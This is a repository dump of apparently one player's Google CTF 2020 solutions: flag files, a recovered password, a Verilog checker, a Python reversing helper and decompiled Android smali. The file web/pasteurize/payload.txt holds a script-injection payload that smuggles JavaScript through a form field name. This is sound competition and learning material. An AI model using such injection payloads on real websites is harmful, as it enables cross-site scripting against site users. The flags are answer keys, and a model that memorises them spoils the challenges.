├── .gitignore
├── hardware
└── basics
│ ├── pass.txt
│ ├── flag.txt
│ ├── provided.zip
│ ├── check.sv
│ ├── main.cpp
│ ├── helper.v
│ └── README.md
├── reversing
├── beginner
│ ├── flag.txt
│ ├── a.out
│ ├── provided.zip
│ └── helper.py
└── android
│ ├── flag.txt
│ ├── reverse.apk
│ ├── provided.zip
│ ├── replaced.apk
│ ├── reverse
│ ├── build
│ │ └── apk
│ │ │ ├── classes.dex
│ │ │ ├── resources.arsc
│ │ │ ├── AndroidManifest.xml
│ │ │ └── res
│ │ │ ├── layout
│ │ │ └── activity_main.xml
│ │ │ ├── mipmap-anydpi
│ │ │ ├── ic_launcher.xml
│ │ │ └── ic_launcher_round.xml
│ │ │ ├── mipmap-hdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-mdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ │ └── drawable
│ │ │ ├── ic_launcher_background.xml
│ │ │ ├── ic_launcher_foreground.xml
│ │ │ └── $ic_launcher_foreground__0.xml
│ ├── original
│ │ ├── AndroidManifest.xml
│ │ └── META-INF
│ │ │ ├── ANDROIDD.RSA
│ │ │ ├── MANIFEST.MF
│ │ │ └── ANDROIDD.SF
│ ├── res
│ │ ├── values
│ │ │ ├── strings.xml
│ │ │ ├── styles.xml
│ │ │ ├── ids.xml
│ │ │ ├── colors.xml
│ │ │ ├── attrs.xml
│ │ │ └── public.xml
│ │ ├── mipmap-hdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ ├── mipmap-mdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ ├── mipmap-xhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxxhdpi
│ │ │ ├── ic_launcher.png
│ │ │ └── ic_launcher_round.png
│ │ ├── mipmap-anydpi
│ │ │ ├── ic_launcher.xml
│ │ │ └── ic_launcher_round.xml
│ │ ├── drawable
│ │ │ ├── $ic_launcher_foreground__0.xml
│ │ │ ├── ic_launcher_foreground.xml
│ │ │ └── ic_launcher_background.xml
│ │ └── layout
│ │ │ └── activity_main.xml
│ ├── smali
│ │ ├── android
│ │ │ └── support
│ │ │ │ └── constraint
│ │ │ │ ├── ConstraintSet$1.smali
│ │ │ │ ├── R.smali
│ │ │ │ ├── solver
│ │ │ │ ├── Pools.smali
│ │ │ │ ├── LinearSystem$Row.smali
│ │ │ │ ├── GoalRow.smali
│ │ │ │ ├── Pools$Pool.smali
│ │ │ │ ├── widgets
│ │ │ │ │ ├── ConstraintTableLayout$HorizontalSlice.smali
│ │ │ │ │ ├── ConstraintTableLayout$VerticalSlice.smali
│ │ │ │ │ ├── ResolutionDimension.smali
│ │ │ │ │ ├── Helper.smali
│ │ │ │ │ ├── ConstraintAnchor$ConnectionType.smali
│ │ │ │ │ ├── ConstraintAnchor$Strength.smali
│ │ │ │ │ ├── Rectangle.smali
│ │ │ │ │ ├── ConstraintWidget$DimensionBehaviour.smali
│ │ │ │ │ ├── ResolutionNode.smali
│ │ │ │ │ ├── Guideline$1.smali
│ │ │ │ │ ├── ConstraintAnchor$1.smali
│ │ │ │ │ ├── Snapshot$Connection.smali
│ │ │ │ │ └── Snapshot.smali
│ │ │ │ ├── Cache.smali
│ │ │ │ ├── SolverVariable$1.smali
│ │ │ │ ├── SolverVariable$Type.smali
│ │ │ │ └── Pools$SimplePool.smali
│ │ │ │ ├── R$id.smali
│ │ │ │ ├── R$attr.smali
│ │ │ │ ├── Group.smali
│ │ │ │ ├── Guideline.smali
│ │ │ │ └── Constraints.smali
│ │ └── com
│ │ │ └── google
│ │ │ └── ctf
│ │ │ └── sandbox
│ │ │ ├── R$style.smali
│ │ │ ├── R$string.smali
│ │ │ ├── R$layout.smali
│ │ │ ├── R$mipmap.smali
│ │ │ ├── R$drawable.smali
│ │ │ ├── R$color.smali
│ │ │ ├── BuildConfig.smali
│ │ │ ├── R.smali
│ │ │ ├── R$id.smali
│ │ │ ├── o.smali
│ │ │ └── R$attr.smali
│ ├── apktool.yml
│ └── AndroidManifest.xml
│ ├── replaced-aligned-debugSigned.apk
│ └── brute_force.py
├── web
└── pasteurize
│ ├── flag.txt
│ ├── payload.txt
│ ├── source.txt
│ └── README.md
├── media
├── FlagWave.gif
├── scoreboard.png
├── reversing
│ ├── android
│ │ ├── var.png
│ │ ├── fail.png
│ │ ├── home.png
│ │ ├── solved.png
│ │ ├── studio.png
│ │ ├── onclick.png
│ │ ├── breakpoint.png
│ │ └── exception.png
│ └── beginner
│ │ └── main.png
├── web
│ └── pasteurize
│ │ ├── comment.png
│ │ ├── escaped.png
│ │ ├── malformed.png
│ │ ├── pre_paste.png
│ │ ├── post_paste.png
│ │ └── console_test.png
├── flag_submitted_compressed.gif
├── cat_web_icon.svg
├── cat_hardware_icon.svg
└── cat_reversing_icon.svg
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/hardware/basics/pass.txt:
--------------------------------------------------------------------------------
1 | 7LoX%*_x
2 |
--------------------------------------------------------------------------------
/reversing/beginner/flag.txt:
--------------------------------------------------------------------------------
1 | CTF{S1MDf0rM3!}
2 |
--------------------------------------------------------------------------------
/web/pasteurize/flag.txt:
--------------------------------------------------------------------------------
1 | CTF{Express_t0_Tr0ubl3s}
2 |
--------------------------------------------------------------------------------
/hardware/basics/flag.txt:
--------------------------------------------------------------------------------
1 | CTF{W4sTh4tASan1tyCh3ck?}
2 |
--------------------------------------------------------------------------------
/reversing/android/flag.txt:
--------------------------------------------------------------------------------
1 | CTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!}
2 |
--------------------------------------------------------------------------------
/media/FlagWave.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/FlagWave.gif
--------------------------------------------------------------------------------
/media/scoreboard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/scoreboard.png
--------------------------------------------------------------------------------
/reversing/beginner/a.out:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/beginner/a.out
--------------------------------------------------------------------------------
/hardware/basics/provided.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/hardware/basics/provided.zip
--------------------------------------------------------------------------------
/reversing/android/reverse.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse.apk
--------------------------------------------------------------------------------
/media/reversing/android/var.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/var.png
--------------------------------------------------------------------------------
/reversing/android/provided.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/provided.zip
--------------------------------------------------------------------------------
/reversing/android/replaced.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/replaced.apk
--------------------------------------------------------------------------------
/reversing/beginner/provided.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/beginner/provided.zip
--------------------------------------------------------------------------------
/media/reversing/android/fail.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/fail.png
--------------------------------------------------------------------------------
/media/reversing/android/home.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/home.png
--------------------------------------------------------------------------------
/media/reversing/android/solved.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/solved.png
--------------------------------------------------------------------------------
/media/reversing/android/studio.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/studio.png
--------------------------------------------------------------------------------
/media/reversing/beginner/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/beginner/main.png
--------------------------------------------------------------------------------
/media/web/pasteurize/comment.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/comment.png
--------------------------------------------------------------------------------
/media/web/pasteurize/escaped.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/escaped.png
--------------------------------------------------------------------------------
/media/web/pasteurize/malformed.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/malformed.png
--------------------------------------------------------------------------------
/media/web/pasteurize/pre_paste.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/pre_paste.png
--------------------------------------------------------------------------------
/media/flag_submitted_compressed.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/flag_submitted_compressed.gif
--------------------------------------------------------------------------------
/media/reversing/android/onclick.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/onclick.png
--------------------------------------------------------------------------------
/media/web/pasteurize/post_paste.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/post_paste.png
--------------------------------------------------------------------------------
/media/reversing/android/breakpoint.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/breakpoint.png
--------------------------------------------------------------------------------
/media/reversing/android/exception.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/reversing/android/exception.png
--------------------------------------------------------------------------------
/media/web/pasteurize/console_test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/media/web/pasteurize/console_test.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/classes.dex:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/classes.dex
--------------------------------------------------------------------------------
/reversing/android/replaced-aligned-debugSigned.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/replaced-aligned-debugSigned.apk
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/resources.arsc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/resources.arsc
--------------------------------------------------------------------------------
/reversing/android/reverse/original/AndroidManifest.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/original/AndroidManifest.xml
--------------------------------------------------------------------------------
/web/pasteurize/payload.txt:
--------------------------------------------------------------------------------
1 | content[;document.getElementById('note-content').innerHTML=' ';exit();//]=pwnd
2 |
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/AndroidManifest.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/AndroidManifest.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/original/META-INF/ANDROIDD.RSA:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/original/META-INF/ANDROIDD.RSA
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Sandbox
4 |
5 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/layout/activity_main.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-anydpi/ic_launcher.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-anydpi/ic_launcher.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/drawable/ic_launcher_background.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/drawable/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/drawable/ic_launcher_foreground.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-anydpi/ic_launcher_round.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-anydpi/ic_launcher_round.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/reversing/android/reverse/build/apk/res/drawable/$ic_launcher_foreground__0.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/luker983/google-ctf-2020/HEAD/reversing/android/reverse/build/apk/res/drawable/$ic_launcher_foreground__0.xml
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/ids.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #ffff4081
4 | #ff3f51b5
5 | #ff303f9f
6 |
7 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-anydpi/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/mipmap-anydpi/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/drawable/$ic_launcher_foreground__0.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/ConstraintSet$1.smali:
--------------------------------------------------------------------------------
1 | .class synthetic Landroid/support/constraint/ConstraintSet$1;
2 | .super Ljava/lang/Object;
3 | .source "ConstraintSet.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/ConstraintSet;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x1008
13 | name = null
14 | .end annotation
15 |
--------------------------------------------------------------------------------
/reversing/android/reverse/apktool.yml:
--------------------------------------------------------------------------------
1 | !!brut.androlib.meta.MetaInfo
2 | apkFileName: reverse.apk
3 | compressionType: false
4 | doNotCompress:
5 | - png
6 | isFrameworkApk: false
7 | packageInfo:
8 | forcedPackageId: '127'
9 | renameManifestPackage: null
10 | sdkInfo:
11 | minSdkVersion: '26'
12 | targetSdkVersion: '28'
13 | sharedLibrary: false
14 | sparseResources: false
15 | unknownFiles: {}
16 | usesFramework:
17 | ids:
18 | - 1
19 | tag: null
20 | version: 2.4.0
21 | versionInfo:
22 | versionCode: '1'
23 | versionName: '1.0'
24 |
--------------------------------------------------------------------------------
/media/cat_web_icon.svg:
--------------------------------------------------------------------------------
1 | WEB
--------------------------------------------------------------------------------
/hardware/basics/check.sv:
--------------------------------------------------------------------------------
1 | module check(
2 | input clk,
3 |
4 | input [6:0] data,
5 | output wire open_safe
6 | );
7 |
8 | reg [6:0] memory [7:0];
9 | reg [2:0] idx = 0;
10 |
11 | wire [55:0] magic = {
12 | {memory[0], memory[5]},
13 | {memory[6], memory[2]},
14 | {memory[4], memory[3]},
15 | {memory[7], memory[1]}
16 | };
17 |
18 | wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };
19 | assign open_safe = kittens == 56'd3008192072309708;
20 |
21 | always_ff @(posedge clk) begin
22 | memory[idx] <= data;
23 | idx <= idx + 5;
24 | end
25 |
26 | endmodule
27 |
28 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/R.smali:
--------------------------------------------------------------------------------
1 | .class public final Landroid/support/constraint/R;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/MemberClasses;
8 | value = {
9 | Landroid/support/constraint/R$styleable;,
10 | Landroid/support/constraint/R$id;,
11 | Landroid/support/constraint/R$attr;
12 | }
13 | .end annotation
14 |
15 |
16 | # direct methods
17 | .method public constructor ()V
18 | .locals 0
19 |
20 | .line 9
21 | invoke-direct {p0}, Ljava/lang/Object;->()V
22 |
23 | return-void
24 | .end method
25 |
--------------------------------------------------------------------------------
/reversing/beginner/helper.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | xor = [0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1a, 0x5f, 0x38, 0xd4, 0x23, 0xf8, 0x34, 0xeb, 0x86, 0xf9, 0xaa]
4 | add = [0xef, 0xbe, 0xad, 0xde, 0xad, 0xde, 0xe1, 0xfe, 0x37, 0x13, 0x37, 0x13, 0x66, 0x74, 0x63, 0x67]
5 | shuffle = [0x2, 0x6, 0x7, 0x1, 0x5, 0xB, 0x9, 0xE, 0x3, 0xF, 0x4, 0x8, 0xA, 0xC, 0xD, 0x0]
6 |
7 | def forward(char, index):
8 | new_index = shuffle.index(index)
9 | add_result = (char + add[new_index]) % 256
10 | xor_result = add_result ^ xor[new_index]
11 | return xor_result, new_index
12 |
13 | char, index = forward(int(sys.argv[1], 16), int(sys.argv[2]))
14 | print(hex(char), chr(char), index)
15 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/Pools.smali:
--------------------------------------------------------------------------------
1 | .class final Landroid/support/constraint/solver/Pools;
2 | .super Ljava/lang/Object;
3 | .source "Pools.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/MemberClasses;
8 | value = {
9 | Landroid/support/constraint/solver/Pools$SimplePool;,
10 | Landroid/support/constraint/solver/Pools$Pool;
11 | }
12 | .end annotation
13 |
14 |
15 | # static fields
16 | .field private static final DEBUG:Z
17 |
18 |
19 | # direct methods
20 | .method private constructor ()V
21 | .locals 0
22 |
23 | .line 75
24 | invoke-direct {p0}, Ljava/lang/Object;->()V
25 |
26 | .line 77
27 | return-void
28 | .end method
29 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$style.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$style;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "style"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final AppTheme:I = 0x7f080000
19 |
20 |
21 | # direct methods
22 | .method public constructor ()V
23 | .locals 0
24 |
25 | .line 605
26 | invoke-direct {p0}, Ljava/lang/Object;->()V
27 |
28 | return-void
29 | .end method
30 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$string.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$string;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "string"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final app_name:I = 0x7f070000
19 |
20 |
21 | # direct methods
22 | .method public constructor ()V
23 | .locals 0
24 |
25 | .line 602
26 | invoke-direct {p0}, Ljava/lang/Object;->()V
27 |
28 | return-void
29 | .end method
30 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$layout.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$layout;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "layout"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final activity_main:I = 0x7f050000
19 |
20 |
21 | # direct methods
22 | .method public constructor ()V
23 | .locals 0
24 |
25 | .line 595
26 | invoke-direct {p0}, Ljava/lang/Object;->()V
27 |
28 | return-void
29 | .end method
30 |
--------------------------------------------------------------------------------
/reversing/android/reverse/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/hardware/basics/main.cpp:
--------------------------------------------------------------------------------
1 | #include "obj_dir/Vcheck.h"
2 |
3 | #include
4 | #include
5 |
6 | int main(int argc, char *argv[]) {
7 | Verilated::commandArgs(argc, argv);
8 | std::cout << "Enter password:" << std::endl;
9 | auto check = std::make_unique();
10 |
11 | for (int i = 0; i < 100 && !check->open_safe; i++) {
12 | int c = fgetc(stdin);
13 | if (c == '\n' || c < 0) break;
14 | check->data = c & 0x7f;
15 | check->clk = false;
16 | check->eval();
17 | check->clk = true;
18 | check->eval();
19 | }
20 | if (check->open_safe) {
21 | std::cout << "CTF{real flag would be here}" << std::endl;
22 | } else {
23 | std::cout << "=(" << std::endl;
24 | }
25 | return 0;
26 | }
27 |
28 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$mipmap.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$mipmap;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "mipmap"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final ic_launcher:I = 0x7f060000
19 |
20 | .field public static final ic_launcher_round:I = 0x7f060001
21 |
22 |
23 | # direct methods
24 | .method public constructor ()V
25 | .locals 0
26 |
27 | .line 598
28 | invoke-direct {p0}, Ljava/lang/Object;->()V
29 |
30 | return-void
31 | .end method
32 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$drawable.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$drawable;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "drawable"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final ic_launcher_background:I = 0x7f030001
19 |
20 | .field public static final ic_launcher_foreground:I = 0x7f030002
21 |
22 |
23 | # direct methods
24 | .method public constructor ()V
25 | .locals 0
26 |
27 | .line 565
28 | invoke-direct {p0}, Ljava/lang/Object;->()V
29 |
30 | return-void
